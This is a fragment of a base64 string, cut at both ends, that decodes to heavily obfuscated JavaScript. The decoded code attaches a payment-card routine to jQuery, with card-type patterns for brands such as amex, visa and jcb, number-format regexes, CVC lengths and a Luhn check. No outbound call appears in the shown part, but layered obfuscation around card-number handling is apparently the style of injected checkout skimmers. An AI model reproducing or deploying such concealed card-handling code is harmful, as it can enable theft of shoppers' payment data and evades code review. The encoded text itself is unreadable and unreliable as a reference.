1cm4gXzB4MzYwY2U4KF8weDVlYmY4Ny0weDQ3LF8weDMzODFhNCxfMHgyN2EzNmQtMHgxMWYsXzB4MjdhMzZkLSAtMHg2NjYpO31yZXR1cm4gXzB4MTFjNTk1W18weGQyMjBiZSgweDRiYSwweDFkYiwweDJkMiwweDNjYildKF8weDM0NjYxMSxfMHg1ZTBhN2EpO30sJ09pRUhhJzpmdW5jdGlvbihfMHg1NzZkYzgsXzB4MmRmYjZkKXtmdW5jdGlvbiBfMHgzZDQwYTAoXzB4NWNmNTMyLF8weDE5OTllOCxfMHg0MWRiNTksXzB4MjI2YWM1KXtyZXR1cm4gXzB4MTg1ODBlKF8weDVjZjUzMi0weDZlLF8weDE5OTllOC0weGE2LF8weDVjZjUzMi0weGVhLF8weDQxZGI1OSk7fXJldHVybiBfMHgxMWM1OTVbXzB4M2Q0MGEwKDB4MzI2LDB4MzQzLDB4MmEyLDB4NWRiKV0oXzB4NTc2ZGM4LF8weDJkZmI2ZCk7fSwnSFNJYXMnOmZ1bmN0aW9uKF8weDI5NmFmYyxfMHgyNTI4YjMpe2Z1bmN0aW9uIF8weDE4Yzg0ZChfMHg1MTk5YmQsXzB4MjdlM2Y0LF8weDI3YWE1MCxfMHg0NThjZWMpe3JldHVybiBfMHgxODU4MGUoXzB4NTE5OWJkLTB4YWMsXzB4MjdlM2Y0LTB4ZDcsXzB4MjdhYTUwLTB4MWI3LF8weDUxOTliZCk7fXJldHVybiBfMHgxMWM1OTVbXzB4MThjODRkKDB4M2RkLC0weDI5LDB4MjNmLDB4MWZhKV0oXzB4Mjk2YWZjLF8weDI1MjhiMyk7fSwnc2pQcnEnOmZ1bmN0aW9uKF8weDJiNGQ3MCxfMHgxYTc5YmYpe2Z1bmN0aW9uIF8weDI4Y2NiMShfMHgzZjQ2MjMsXzB4MjQ4ZmFjLF8weGEyMzIwMSxfMHg0ZDU4YTQpe3JldHVybiBfMHgzNjBjZTgoXzB4M2Y0NjIzLTB4ODcsXzB4MjQ4ZmFjLF8weGEyMzIwMS0weDEyYixfMHg0ZDU4YTQtIC0weDY5ZSk7fXJldHVybiBfMHgxMWM1OTVbXzB4MjhjY2IxKDB4YTEsMHhmMywtMHgxMmEsLTB4MTcyKV0oXzB4MmI0ZDcwLF8weDFhNzliZik7fSwndnFTUFAnOmZ1bmN0aW9uKF8weDVlNTczZCxfMHgyMWJkYTApe2Z1bmN0aW9uIF8weDEyYjRjOChfMHg0ZmY3OTEsXzB4NTBlYzBlLF8weDQ5MzlmZSxfMHgyNGVjYTcpe3JldHVybiBfMHgxODU4MGUoXzB4NGZmNzkxLTB4OWYsXzB4NTBlYzBlLTB4MTcyLF8weDRmZjc5MS0weGIxLF8weDI0ZWNhNyk7fXJldHVybiBfMHgxMWM1OTVbXzB4MTJiNGM4KDB4MmVkLDB4MjY3LDB4YTAsMHg0ODkpXShfMHg1ZTU3M2QsXzB4MjFiZGEwKTt9LCdvV2pjeCc6ZnVuY3Rpb24oXzB4NGNmYWFlLF8weDQ3MjRiOSl7ZnVuY3Rpb24gXzB4MTk0ZjMzKF8weDQ5MGFmZCxfMHgxYWIzOGIsXzB4YTgzN2NkLF8weDE1OWM1MSl7cmV0dXJuIF8weDM2MGNlOChfMHg0OTBhZmQtMHgxNmUsXzB4MTU5YzUxLF8weGE4MzdjZC0weDZkLF8weDFhYjM4Yi0gLTB4NGNlKTt9cmV0dXJuIF8weDExYzU5NVtfMHgxOTRmMzMoMHgxODYsMHhmZCwweDMyZCwtMHgxYTkpXShfMHg0Y2ZhYWUsXzB4NDcyNGI5KTt9LCdKS3ZUQic6ZnVuY3Rpb24oXzB4NTc0MjJhLF8weDUzMTBlNil7ZnVuY3Rpb24gXzB4OGM4ZChfMHgyYWY3ZjQsXzB4NDcxYjcyLF8weDQxNzEzLF8weDViZjBjNyl7cmV0dXJuIF8weDM2MGNlOChfMHgyYWY3ZjQtMHgxYzcsXzB4NDcxYjcyLF8weDQxNzEzLTB4MTYyLF8weDViZjBjNy0gLTB4ODkpO31yZXR1cm4gXzB4MTFjNTk1W18weDhjOGQoMHg1MGIsMHg4MjksMHg4MDUsMHg2MzMpXShfMHg1NzQyMmEsXzB4NTMxMGU2KTt9LCd6cm9nTyc6ZnVuY3Rpb24oXzB4MjA0YmVlLF8weDM2MmY4MCl7ZnVuY3Rpb24gXzB4MzY2NTU2KF8weDRiZTEyZSxfMHgzM2UzODksXzB4NTk4ZjJhLF8weDIwYzQ1Nyl7cmV0dXJuIF8weDE4NTgwZShfMHg0YmUxMmUtMHgxYzMsXzB4MzNlMzg5LTB4MTZiLF8weDU5OGYyYS0weDQ1YyxfMHg0YmUxMmUpO31yZXR1cm4gXzB4MTFjNTk1W18weDM2NjU1NigweDVjMiwweDRkZCwweDJmMiwweDU1MCldKF8weDIwNGJlZSxfMHgzNjJmODApO30sJ0VTeWpWJzpmdW5jdGlvbihfMHg1YTgyZGYsXzB4M2ZkNDE2KXtyZXR1cm4gXzB4MTFjNTk1WydNWEVnaiddKF8weDVhODJkZixfMHgzZmQ0MTYpO30sJ2xYeGZtJzpmdW5jdGlvbihfMHgzMWI4MDMsXzB4ZTg4ZTdiKXtyZXR1cm4gXzB4MTFjNTk1WydkVmdrUSddKF8weDMxYjgwMyxfMHhlODhlN2IpO319O2Z1bmN0aW9uIF8weDE4NTgwZShfMHgzZjQ0MGUsXzB4MmZiOTBjLF8weDUzMzJhMCxfMHg4Njc1NmUpe3JldHVybiBfMHgyMTYyN2UoXzB4ODY3NTZlLF8weDJmYjkwYy0weDM3LF8weDUzMzJhMC0weDM5LF8weDUzMzJhMC0gLTB4NDU5KTt9dmFyIF8weDIxMTFlZixfMHgxNDZlYWIsXzB4MTYxMzliLF8weDU2YzdlOSxfMHgxMjY1MTMsXzB4M2Y2MDNkLF8weDU0MDU5MSxfMHg1MGFmMDYsXzB4MjE0MmJhLF8weDIyZGIwYyxfMHgyODQyODIsXzB4NTkxMDI5LF8weGYzNGQzYSxfMHgyODllODYsXzB4M2EwNWYzLF8weDQ5OGVmZSxfMHgxZTliYTUsXzB4NWQ3YjM4LF8weDM5Yzk5OSxfMHg0ZjQ5OWQsXzB4NDNmODY4LF8weDk0Y2ZlZSxfMHgyMzcyOGYsXzB4MzMzMDYyLF8weDI5ZmJkNj1bXVtfMHgzNjBjZTgoMHg1NGQsMHg2NjcsMHg2MmYsMHg1YWIpXSxfMHgzYzg3NzA9W11bXzB4MzYwY2U4KDB4N2JlLDB4NzY2LDB4NjZkLDB4N2E0KV18fGZ1bmN0aW9uKF8weDU1ZmVlNSl7ZnVuY3Rpb24gXzB4M2U3NTRlKF8weDUyODA0YSxfMHgyNmY5OWMsXzB4NTRlNTBjLF8weDViOTM4ZSl7cmV0dXJuIF8weDM2MGNlOChfMHg1MjgwNGEtMHhkNixfMHg1NGU1MGMsXzB4NTRlNTBjLTB4MTBkLF8weDUyODA0YS0gLTB4MzAwKTt9Zm9yKHZhciBfMHgzNDdiMzM9LTB4ZGQ0Ky0weDMqMHhjODArMHhhKjB4NTIyLF8weDUyMmE2MT10aGlzW18weDNlNzU0ZSgweDYzMSwweDhmOCwweDRkYiwweDU1ZSldO18weDUyMmE2MT5fMHgzNDdiMzM7XzB4MzQ3YjMzKyspaWYoXzB4NDA3OTA4WydRV0xudSddKF8weDM0N2IzMyx0aGlzKSYmdGhpc1tfMHgzNDdiMzNdPT09XzB4NTVmZWU1KXJldHVybiBfMHgzNDdiMzM7cmV0dXJuLSgtMHhjMmMrLTB4ODI2KzB4MTQ1Myk7fTtmdW5jdGlvbiBfMHgzNjBjZTgoXzB4NDAzNmU0LF8weDQzY2JhYixfMHg1NWEzMjIsXzB4NDk5YTI1KXtyZXR1cm4gXzB4MjE2MjdlKF8weDQzY2JhYixfMHg0M2NiYWItMHhjZSxfMHg1NWEzMjItMHgxYzEsXzB4NDk5YTI1LTB4MWU4KTt9dmFyIF8weDVhNDZjNT17fTtfMHg1YTQ2YzVbXzB4MTg1ODBlKDB4MWE3LDB4MTBlLDB4ZWQsMHgzODEpXT0nYW0nKydleCcsXzB4NWE0NmM1W18weDE4NTgwZSgtMHgxNzYsLTB4MmE3LC0weDIwZiwweDc5KV09Wy0weGY4MiotMHgyKzB4YjgzKzB4MmE2NSotMHgxLDB4MSoweGU5ZSsweDI0MzkrLTB4MzJiMl0sXzB4NWE0NmM1W18weDE4NTgwZSgtMHgxNGIsMHgyMzIsMHg1MCwweDE2YildPS8oXGR7MSw0fSkoXGR7MSw2fSk/KFxkezEsNX0pPy8sXzB4NWE0NmM1WydsZW5ndGgnXT1bLTB4MTIqMHhkYisweDQ3NyotMHg0Ky0weGIxYiotMHgzXSxfMHg1YTQ2YzVbXzB4MTg1ODBlKDB4ZTIsMHg3ZiwweDJkZCwweDI1MykrXzB4MTg1ODBlKC0weDIwOCwweDEsLTB4ZjQsLTB4M2RhKV09Wy0weDFkN2MrLTB4MSotMHgxNzdhKzB4MTcqMHg0MywweGY0MCsweDE0YzMqMHgxKy0weDIzZmZdLF8weDVhNDZjNVtfMHgxODU4MGUoMHgyNDcsLTB4MWIyLC0weGFmLC0weDM4YyldPSEoLTB4MjAxMistMHgyYWQrMHgyMmJmKSwoXzB4MjExMWVmPXdpbmRvd1tfMHgzNjBjZTgoMHg0YWUsMHg1MDksMHg2MDMsMHg1ZjYpXXx8d2luZG93W18weDM2MGNlOCgweDZhNiwweDQ3OSwweDU4MywweDUzZCldfHx3aW5kb3dbJyQnXSxfMHgyMTExZWZbXzB4MTg1ODBlKDB4NDBmLDB4NGYzLDB4MjdjLDB4MmU3KV09e30sXzB4MjExMWVmW18weDE4NTgwZSgweDI3YywweDIwLDB4MjdjLDB4MWM4KV1bJ2ZuJ109e30sXzB4MjExMWVmWydmbiddW18weDM2MGNlOCgweDdmNywweGIwYiwweGI3MiwweDhiZCldPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4NWQxZjdjKF8weDUzZjZlZCxfMHg0OWE3ZDEsXzB4NTJlN2NlLF8weDU0OTBkMCl7cmV0dXJuIF8weDM2MGNlOChfMHg1M2Y2ZWQtMHgyYyxfMHg1NDkwZDAsXzB4NTJlN2NlLTB4NDYsXzB4NTJlN2NlLSAtMHhjYSk7fWZ1bmN0aW9uIF8weDUzMzc2MChfMHhiNjBjMjksXzB4MzIzYzU4LF8weDFjODg2MixfMHgyNTM1MzUpe3JldHVybiBfMHgzNjBjZTgoXzB4YjYwYzI5LTB4MTM0LF8weDFjODg2MixfMHgxYzg4NjItMHgxODQsXzB4MjUzNTM1LSAtMHgxZjEpO31pZihfMHgyNDEwZThbXzB4NWQxZjdjKDB4NWE3LDB4NzhlLDB4NjcyLDB4NDk0KV0hPT1fMHgyNDEwZThbXzB4NWQxZjdjKDB4M2M1LDB4NzE3LDB4NjcyLDB4M2VkKV0pXzB4NTFkYjRmW18weDUzMzc2MCgweDQ2MywweDgwMCwweDM3MiwweDUyYykrJ2F1bHQnXSgpO2Vsc2V7dmFyIF8weGNiNjcyMSxfMHg1NjU1ZjA7cmV0dXJuIF8weDU2NTVmMD1hcmd1bWVudHNbMHgyNWIwKi0weDErMHg5MTcrLTB4MWM5OSotMHgxXSxfMHhjYjY3MjE9XzB4MjQxMGU4W18weDVkMWY3YygweDkzYSwweDVjNCwweDhiNCwweDg2ZCldKC0weDcqMHhiNisweDEwNGQrMHhiNTEqLTB4MSxhcmd1bWVudHNbXzB4NTMzNzYwKDB4OTEzLDB4NjY0LDB4NWE5LDB4NzQwKV0pP18weDI5ZmJkNltfMHg1MzM3NjAoMHgyYzQsMHg2NjAsMHg2Y2QsMHg1ODMpXShhcmd1bWVudHMsMHgxNzFiKy0weDgxYystMHgyNioweDY1KTpbXSxfMHgyMTExZWZbJ3BtbnQnXVsnZm4nXVtfMHg1NjU1ZjBdWydhcHBseSddKHRoaXMsXzB4Y2I2NzIxKTt9fSxfMHgxMjY1MTM9LyhcZHsxLDR9KS9nLF8weDIxMTFlZltfMHgxODU4MGUoMHg0NTcsMHgzODIsMHgyN2MsMHhkMSldW18weDM2MGNlOCgweDhiOCwweDY5YiwweDYwNCwweDdkMSldPV8weDU2YzdlOT1beyd0eXBlJzpfMHgxODU4MGUoLTB4YWMsLTB4MWEwLC0weDIwOSwtMHgxZTgpK18weDExYzU5NVsnS2VTR2EnXSwncGF0dGVybnMnOlstMHgzNTgrLTB4MjYwOSsweDQzKjB4ZTksLTB4MWVhZioweDErLTB4MTEqLTB4YWQrMHg1NGEqMHg0LC0weDkwYiotMHgxKy0weDEzNDAqMHgxKy0weDI5Ki0weDRjLDB4MTY5YyoweDErMHgxNDVlKy0weDgwKjB4NTIsMHgxMzRiKy0weGRmMystMHg1MjAsLTB4MjA5ZCstMHgyNDU4KzB4NTkqMHhjNywweDIwNSstMHgxKi0weDdjZCstMHg3NTMsMHgzMzYqLTB4ZCsweGIqLTB4MzZiKzB4NjdhMyoweDEsMHgxKi0weDI0MDUrMHgyKi0weDkxYysweDM2ODBdLCdmb3JtYXQnOl8weDEyNjUxMywnbGVuZ3RoJzpbLTB4N2RjKy0weDU4Ki0weDQrLTB4MmMqLTB4MjYsLTB4MThmMCsweDdlKi0weDQ3KzB4NDMqMHhlNSwweDEqLTB4MWE1ZistMHg0NTYrMHgxZWMzLDB4NzUqLTB4ZisweGEwNSstMHgzMWIsLTB4ODJhKzB4MjQyYSstMHgxYmYwLDB4MWFmMioweDErMHgxYTk2Ky0weDM1NzcqMHgxLDB4MSoweDE0MGIrLTB4OGFiKzB4MiotMHg1YTcsLTB4YyoweDFhOSstMHhhMjkrLTB4YSotMHgzMDRdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4MmUzKi0weDErLTB4MjBiNCstMHhkOSotMHgyYV0sJ2xfdV9oX24nOiEoMHhlYTcqLTB4MistMHhiZTYqMHgzKzB4NDEwMCl9LHsndHlwZSc6XzB4MTFjNTk1W18weDE4NTgwZSgweDYxLDB4MjMyLDB4MmFjLDB4MjEwKV0oXzB4MTFjNTk1WydCVVhlciddLF8weDExYzU5NVtfMHgzNjBjZTgoMHgyMGIsMHg0Y2YsMHg2MzUsMHg0Y2QpXSksJ3BhdHRlcm5zJzpbLTB4MTcqLTB4MTkxKy0weDE3Ki0weDE1MSstMHgzZmY2XSwnZm9ybWF0JzpfMHgxMjY1MTMsJ2xlbmd0aCc6Wy0weDFjZTgrMHgyNDlkKy0weDdhNV0sJ2Nfdl9jX19fTGVfX19uZ3RoJzpbLTB4MTY5NSsweDIqMHgzYjYrMHhmMmNdLCdsX3VfaF9uJzohKC0weDI1ODQrMHg0Ki0weDY5OCsweDE1YyoweDJmKX0seyd0eXBlJzpfMHgxMWM1OTVbXzB4MzYwY2U4KDB4MmU0LDB4NThmLDB4N2ViLDB4NTA5KV0oXzB4MTFjNTk1Wyd4UWVmeiddLF8weDExYzU5NVtfMHgzNjBjZTgoMHg2ZWQsMHg0ZDcsMHgzYmEsMHg0ZmQpXSksJ3BhdHRlcm5zJzpbLTB4YWVkKi0weDErMHg3YWMqLTB4MSsweDEwNWFdLCdmb3JtYXQnOl8weDEyNjUxMywnbGVuZ3RoJzpbMHgzKjB4YjY1Ky0weDU4YystMHg0MTUqMHg3XSwnY192X2NfX19MZV9fX25ndGgnOlstMHhmYmUrLTB4NiotMHg1ZjMrLTB4MTNmMV0sJ2xfdV9oX24nOiEoLTB4ODliKi0weDIrLTB4MWNkNSstMHg1Ki0weDI1Myl9LHsndHlwZSc6XzB4MTFjNTk1W18weDM2MGNlOCgweDhmZiwweGE4ZSwweDg0OSwweDgzMyldKCd2aScsJ3NhJyksJ3BhdHRlcm5zJzpbLTB4MWI5Ki0weDExKzB4MjE1KjB4MysweDEqLTB4MjM4NF0sJ2Zvcm1hdCc6XzB4MTI2NTEzLCdsZW5ndGgnOlsweDI2OTMrMHgxYTkzKi0weDErLTB4YmYzLDB4YWUqLTB4MTgrMHgyKjB4MTBhMistMHg0KjB4NDM5XSwnY192X2NfX19MZV9fX25ndGgnOlsweDJkMistMHg4MTcrMHhkKjB4NjhdLCdsX3VfaF9uJzohKC0weDJmYioweDYrMHhiZjgrMHgyZjUqMHgyKX0seyd0eXBlJzpfMHgxMWM1OTVbXzB4MTg1ODBlKDB4MTE3LC0weDFiLC0weDEwLC0weDIyYyldKF8weDExYzU5NVsnalBjUE8nXStfMHgxMWM1OTVbJ0NpUXpFJ10sXzB4MTFjNTk1W18weDE4NTgwZSgtMHgxNjMsLTB4MWQ4LDB4ODksMHgyYzUpXSksJ3BhdHRlcm5zJzpbMHhkKi0weDM3Ky0weGExMyotMHgxKy0weDcxNSwweDFiYWErLTB4ZWE3KzB4Y2NmKi0weDEsLTB4NjQ1Ky0weDEyNGYrMHgxOGM5LDB4MWRjOSsweDg2KzB4MWUxOSotMHgxLDB4MSotMHg4ODUrLTB4MWM5KjB4MTUrMHgyZTM5LDB4MjE3OSstMHgxZjQ2Ky0weDIxZCoweDEsLTB4NWU5KzB4MSotMHgyMWQ3KzB4NWIxKjB4NywtMHgyNmVkKzB4MjVhOSsweDMqMHg3NCwtMHgxKjB4MjExMCsweDVjOCsweDFiNjEqMHgxLC0weDE4YWIqMHgxKzB4MTk2KjB4MTMrLTB4NTVkLC0weDFiYzErMHgxZmIrLTB4NTJkKi0weDVdLCdmb3JtYXQnOl8weDEyNjUxMywnbGVuZ3RoJzpbLTB4MWNmKzB4YjE2KzB4MSotMHg5MzddLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4YTYwKzB4ZDE0Ki0weDIrMHhkKjB4MTM3XSwnbF91X2hfbic6ISgtMHgxMTVkKzB4MTY0KjB4MTYrMHhkM2IqLTB4MSl9LF8weDVhNDZjNSx7J3R5cGUnOl8weDExYzU5NVtfMHgxODU4MGUoMHgzNSwtMHgxZDIsLTB4MWExLDB4ZWQpXShfMHgxMWM1OTVbJ1BQa1VTJ10sXzB4MTFjNTk1W18weDM2MGNlOCgweDYwNiwweDY0NiwweDNiZCwweDRiZCldKSwncGF0dGVybnMnOlstMHhkNCotMHgxZisweDEzZmUrLTB4MTYqMHgyMTIsMHg1Ki0weDRlZisweDE4ZWQrMHhmKi0weDIsLTB4YjM1Ki0weDIrMHgxNyoweDU1Ky0weDUqMHg1ZmIsMHgyNGFkKzB4ODkzKy0weDJkMTldLCdmb3JtYXQnOi8oXGR7MSw0fSkoXGR7MSw2fSk/KFxkezEsNH0pPy8sJ2xlbmd0aCc6Wy0weDE3Ki0weDMxKzB4NCotMHg5NystMHgxZmRdLCdjX3ZfY19fX0xlX19fbmd0aCc6Wy0weGE5ZSoweDErLTB4NyoweDI5NistMHgxY2JiKi0weDFdLCdsX3VfaF9uJzohKDB4MWY0KzB4YTg4KzB4MzFmKi0weDQpfSx7J3R5cGUnOl8weDExYzU5NVtfMHgzNjBjZTgoMHg4ODksMHg0ZGYsMHhhOGMsMHg3YjkpXShfMHgxMWM1OTVbXzB4MTg1ODBlKDB4ZTUsMHgzNDcsMHgzMDgsMHgzYzUpXSxfMHgxMWM1OTVbJ3JlZW1GJ10pLCdwYXR0ZXJucyc6WzB4NDY3Ki0weDYrLTB4MjIzKi0weDErMHg1KjB4NGU3LDB4ZDFiKi0weDIrMHgxZmE1Ki0weDErMHgzYTFiLDB4OTY4Ky0weDIyMjcrMHgxOTAwLDB4MioweDUyMisweDFmMDgrLTB4MjZkZV0sJ2Zvcm1hdCc6XzB4MTI2NTEzLCdsZW5ndGgnOlsweDcqMHhjMisweGE3KjB4NysweDFiKi0weDVkXSwnY192X2NfX19MZV9fX25ndGgnOlstMHgyNjNiKy0weDE1ODcrLTB4NTZmKi0weGJdLCdsX3VfaF9uJzohKC0weDEqLTB4MWEyMystMHgyMGE1KzB4NjgyKX0seyd0eXBlJzpfMHgxMWM1OTVbXzB4MTg1ODBlKC0weDNlMiwtMHg0MmEsLTB4MThkLC0weDJjMCldKF8weDExYzU5NVtfMHgzNjBjZTgoMHgyMGYsMHgxN2EsMHg2NjUsMHg0NTYpXShfMHgxMWM1OTVbXzB4MzYwY2U4KDB4ODEzLDB4OGQ5LDB4NjQyLDB4N2EyKV0sXzB4MTg1ODBlKDB4MTBjLDB4MTk3LDB4MzMzLDB4NWNiKSksJ2F5JyksJ3BhdHRlcm5zJzpbLTB4MjFkZistMHgyNGFmKy0weDEqLTB4NDZjYywtMHgxZTFiKzB4ZThiKi0weDIrLTB4M2I4OSotMHgxXSwnZm9ybWF0JzpfMHgxMjY1MTMsJ2xlbmd0aCc6Wy0weDIxYzkrMHg1MDkrMHgyKjB4ZTY4LDB4MTI0MCsweDQqLTB4MjFhKy0weDEqMHg5YzcsLTB4NjU3KzB4MWVkOSotMHgxKzB4MWY2KjB4MTMsLTB4MTJkKzB4YSoweDIzOSstMHhhN2QqMHgyXSwnY192X2NfX19MZV9fX25ndGgnOlsweGNhZisweDgqLTB4NGIxKzB4MThkY10sJ2xfdV9oX24nOiEoMHgxZjMqMHg0Ky0weDdkYysweDExKX0seyd0eXBlJzpfMHgxMWM1OTVbXzB4MTg1ODBlKDB4NDYsLTB4MzM1LC0weDE3NiwweGU4KV0oJ2onLCdjYicpLCdwYXR0ZXJucyc6Wy0weDk1OCoweDIrMHg5OTErMHg5NDJdLCdmb3JtYXQnOl8weDEyNjUxMywnbGVuZ3RoJzpbLTB4MjE0YisweDE1ODcrLTB4MiotMHg1ZWFdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4MmUqMHg0ZisweDE0NmUrMHgyMjlkKi0weDFdLCdsX3VfaF9uJzohKC0weDE5OSoweDEwKzB4YzYyKzB4NyoweDFlMil9XSxfMHgxNDZlYWI9ZnVuY3Rpb24oXzB4NTQ5MGVlKXtmdW5jdGlvbiBfMHgyMzJjNChfMHg5MGNkNTMsXzB4NTFkZTY5LF8weDIzZTVkZixfMHgzZGZhMDYpe3JldHVybiBfMHgzNjBjZTgoXzB4OTBjZDUzLTB4MTYxLF8weDkwY2Q1MyxfMHgyM2U1ZGYtMHhjYyxfMHgzZGZhMDYtIC0weGNiKTt9dmFyIF8weDU2ZmYwZSxfMHg1Yjk3N2EsXzB4NDY1YmE5LF8weDVjM2UwZixfMHgyMGM0YmEsXzB4MjAxOWEzLF8weDQ5OTE2MyxfMHgxYjMwMGM7ZnVuY3Rpb24gXzB4OTQ2ZTM2KF8weDNhNGMwZSxfMHgzMzk0M2IsXzB4MmVlYjU4LF8weDViNjk1MCl7cmV0dXJuIF8weDE4NTgwZShfMHgzYTRjMGUtMHgzYSxfMHgzMzk0M2ItMHgxMjIsXzB4M2E0YzBlLTB4NDk4LF8weDJlZWI1OCk7fWZvcihfMHg1NDkwZWU9KF8weDU0OTBlZSsnJylbXzB4OTQ2ZTM2KDB4N2YzLDB4NmRhLDB4NzVkLDB4YTQyKV0oL1xEL2csJycpLF8weDVjM2UwZj0weDE0ZTQrLTB4MjRlOCsweDEwMDQsXzB4MjAxOWEzPV8weDU2YzdlOVtfMHg5NDZlMzYoMHg3ODgsMHhhN2UsMHg4MDYsMHg4ZjMpXTtfMHgyNDEwZThbXzB4MjMyYzQoMHg0NmUsMHg2NWEsMHg5MzYsMHg2NGYpXShfMHgyMDE5YTMsXzB4NWMzZTBmKTtfMHg1YzNlMGYrKylmb3IoXzB4NTZmZjBlPV8weDU2YzdlOVtfMHg1YzNlMGZdLF8weDFiMzAwYz1fMHg1NmZmMGVbXzB4MjMyYzQoMHgxNzUsMHg2MjEsMHg1YjIsMHgzNjcpXSxfMHgyMGM0YmE9LTB4MSotMHgyMTErMHhmYzQqMHgyKy0weDMqMHhiMzMsXzB4NDk5MTYzPV8weDFiMzAwY1tfMHgyMzJjNCgweGE1YiwweDc0YywweDcxYSwweDg2NildO18weDI0MTBlOFtfMHgyMzJjNCgweDhkOCwweDNhMywweDU4ZSwweDY0ZildKF8weDQ5OTE2MyxfMHgyMGM0YmEpO18weDIwYzRiYSsrKWlmKF8weDQ2NWJhOT1fMHgxYjMwMGNbXzB4MjBjNGJhXSxfMHg1Yjk3N2E9XzB4NDY1YmE5KycnLF8weDI0MTBlOFtfMHgyMzJjNCgweDYzYiwweDNhMywweDgxYywweDY4YSldKF8weDU0OTBlZVsnc3Vic3RyJ10oMHgxMiotMHg5MCsweDE2OGMrLTB4YzZjLF8weDViOTc3YVtfMHgyMzJjNCgweGE5NCwweGI1ZiwweDkzYywweDg2NildKSxfMHg1Yjk3N2EpKXJldHVybiBfMHg1NmZmMGU7fSxfMHgxNjEzOWI9ZnVuY3Rpb24oXzB4M2ZmYTMzKXt2YXIgXzB4NDRjM2Y4LF8weDE2MjllOSxfMHg0ZDRkMzc7ZnVuY3Rpb24gXzB4NjcwYmNmKF8weDJkZWYzYixfMHgxYTk5ODIsXzB4MjM5NTM0LF8weDUwNTY5Mil7cmV0dXJuIF8weDM2MGNlOChfMHgyZGVmM2ItMHgyYSxfMHgyMzk1MzQsXzB4MjM5NTM0LTB4Y2EsXzB4MmRlZjNiLSAtMHg1Zik7fWZ1bmN0aW9uIF8weDJjMTY4YyhfMHgxZmM1NzAsXzB4YTVjMjg3LF8weDU3ZjJlNSxfMHg1ODUzZTQpe3JldHVybiBfMHgxODU4MGUoXzB4MWZjNTcwLTB4MTQxLF8weGE1YzI4Ny0weDFlMixfMHhhNWMyODctMHg2OWEsXzB4NTg1M2U0KTt9Zm9yKF8weDE2MjllOT0weDRkKjB4NTIrMHg0NmYqLTB4MSsweDE0M2IqLTB4MSxfMHg0ZDRkMzc9XzB4NTZjN2U5W18weDJjMTY4YygweDhjYiwweDk4YSwweDc3ZCwweGE0ZSldO18weDQwNzkwOFtfMHgyYzE2OGMoMHg3MmEsMHhhMGEsMHhiZmQsMHhiMzUpXShfMHg0ZDRkMzcsXzB4MTYyOWU5KTtfMHgxNjI5ZTkrKylpZihfMHg0NGMzZjg9XzB4NTZjN2U5W18weDE2MjllOV0sXzB4NDA3OTA4W18weDJjMTY4YygweDc2OCwweDhkMSwweDliZiwweGFmZSldKF8weDQ0YzNmOFsndHlwZSddLF8weDNmZmEzMykpcmV0dXJuIF8weDQ0YzNmODt9LF8weGYzNGQzYT1mdW5jdGlvbihfMHgxYzk3MjMpe3ZhciBfMHg1ZWNiYTAsXzB4M2Y1Y2I0LF8weDIwNjkwYSxfMHg0ZGE1YTAsXzB4MTMwNzBmLF8weDQ1OTY1NDtmb3IoXzB4MjA2OTBhPSEoLTB4MWI1ZCstMHhkNDkrMHgxNDUzKjB4MiksXzB4NGRhNWEwPS0weGJhOSstMHgxKi0weGUwNCstMHgyNWIsXzB4M2Y1Y2I0PV8weDI0MTBlOFtfMHg1ODg2NDgoMHgzMjQsMHg0YmYsMHgyOWUsMHgzNjUpXShfMHgxYzk3MjMsJycpWydzcGxpdCddKCcnKVsncmV2ZXJzZSddKCksXzB4MTMwNzBmPTB4MTEyNSstMHgyKjB4MTA0MCsweGY1YixfMHg0NTk2NTQ9XzB4M2Y1Y2I0W18weDkxNWE4MSgweDEzYiwweDJjZCwweDI5NCwweDM3ZSldO18weDI0MTBlOFsnakdyRGQnXShfMHg0NTk2NTQsXzB4MTMwNzBmKTtfMHgxMzA3MGYrKylfMHg1ZWNiYTA9XzB4M2Y1Y2I0W18weDEzMDcwZl0sXzB4NWVjYmEwPXBhcnNlSW50KF8weDVlY2JhMCwtMHgyNGRhKy0weDFhMzIrMHgzZjE2KSwoXzB4MjA2OTBhPSFfMHgyMDY5MGEpJiYoXzB4NWVjYmEwKj0tMHgxYmRlKzB4MiotMHg5ZWIrMHgyZmI2KSxfMHg1ZWNiYTA+LTB4MWEzKi0weGErLTB4NmQ1Ky0weDk4MCYmKF8weDVlY2JhMC09LTB4ZTU0Ky0weDQ5KjB4MmQrMHgxYjMyKSxfMHg0ZGE1YTArPV8weDVlY2JhMDtmdW5jdGlvbiBfMHg1ODg2NDgoXzB4M2FkNjI1LF8weDNlNjQ0MCxfMHgyODllMjQsXzB4NzljNGE4KXtyZXR1cm4gXzB4MTg1ODBlKF8weDNhZDYyNS0weDVmLF8weDNlNjQ0MC0weDE2LF8weDNhZDYyNS0weDE5OSxfMHg3OWM0YTgpO31mdW5jdGlvbiBfMHg5MTVhODEoXzB4MWM2OTAxLF8weDVhODQ1YixfMHg4YThlMjUsXzB4NTM4NTgzKXtyZXR1cm4gXzB4MTg1ODBlKF8weDFjNjkwMS0weDIxLF8weDVhODQ1Yi0weGI1LF8weDhhOGUyNS0gLTB4NWMsXzB4MWM2OTAxKTt9cmV0dXJuIF8weDI0MTBlOFtfMHg1ODg2NDgoMHg4NiwweGMwLC0weDIzMywweDE0ZildKF8weDRkYTVhMCUoMHhiM2YqLTB4MSstMHg2MzEqMHg1Ky0weDE1MWYqLTB4MiksMHgxY2VmKzB4MTFlMCotMHgxKzB4MSotMHhiMGYpO30sXzB4NTkxMDI5PWZ1bmN0aW9uKF8weDhmODE2ZCl7ZnVuY3Rpb24gXzB4MzlkNTJhKF8weDIxZTQ4MSxfMHgzY2E1NGUsXzB4MjAwMmJhLF8weDJiYTM3OSl7cmV0dXJuIF8weDE4NTgwZShfMHgyMWU0ODEtMHgxODIsXzB4M2NhNTRlLTB4MTEyLF8weDIwMDJiYS0weDVkMSxfMHgyMWU0ODEpO31mdW5jdGlvbiBfMHg5MzE0NDEoXzB4MTFjZWE4LF8weDIwYTM1MyxfMHg0MWEwZmIsXzB4MjZlM2FmKXtyZXR1cm4gXzB4MzYwY2U4KF8weDExY2VhOC0weDFmMSxfMHgyMGEzNTMsXzB4NDFhMGZiLTB4ZjMsXzB4NDFhMGZiLSAtMHgyMzQpO31pZignbmpWZEonIT09XzB4NDA3OTA4WydpdWFwTCddKXJldHVybiBfMHgxYzJkZjFbXzB4MzlkNTJhKDB4MzdmLDB4NzA1